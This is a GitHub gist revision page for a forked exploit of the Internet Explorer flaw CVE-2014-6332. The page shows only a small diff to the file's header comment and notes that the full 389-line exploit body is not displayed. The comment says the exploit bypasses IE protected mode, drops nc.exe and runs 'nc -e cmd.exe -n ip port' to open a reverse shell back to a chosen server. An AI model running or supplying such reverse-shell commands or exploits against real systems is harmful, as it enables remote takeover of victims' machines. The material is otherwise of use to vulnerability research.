Skip to content

Instantly share code, notes, and snippets.

@Sh4ttel2

Sh4ttel2/cve-2014-6332_exploit.html

Forked from worawit/cve-2014-6332_exploit.html
Last active August 29, 2015 14:22
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Sh4ttel2/446d8066d3a43c1a414d to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Sh4ttel2/446d8066d3a43c1a414d to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @worawit worawit renamed this gist Dec 4, 2014. 1 changed file with 4 additions and 3 deletions.
    7 changes: 4 additions & 3 deletions cve-2014-6332_poc.html → cve-2014-6332_exploit.html
    View file
    Original file line number Diff line number Diff line change
    @@ -1,8 +1,8 @@
    <html>
    <head>
    <!--
    CVE-2014-6332 PoC to bypass IE protected mode if enabled (with localhost) then get shell
    The PoC drops nc.exe then execute "nc -e cmd.exe -n ip port"
    CVE-2014-6332 exploit to bypass IE protected mode if enabled (with localhost) then get shell
    The exploit drops nc.exe then execute "nc -e cmd.exe -n ip port"
    'server_ip' and 'server_port' in javascript below determined the connect back target
    Tested on
    @@ -17,6 +17,7 @@
    - https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf
    - http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/There-s-No-Place-Like-Localhost-A-Welcoming-Front-Door-To-Medium/ba-p/6560786#.U9v5smN5FHb
    - https://github.com/exp-sky/explib2/
    -->
    <meta http-equiv="x-ua-compatible" content="IE=10">

    @@ -384,6 +385,6 @@
    </head>

    <body>
    CVE-2014-6332 PoC
    CVE-2014-6332
    </body>
    </html>
  2. @worawit worawit created this gist Dec 2, 2014.
    389 changes: 389 additions & 0 deletions cve-2014-6332_poc.html
    View file
    389 additions, 0 deletions not shown because the diff is too large. Please use a local Git client to view these changes.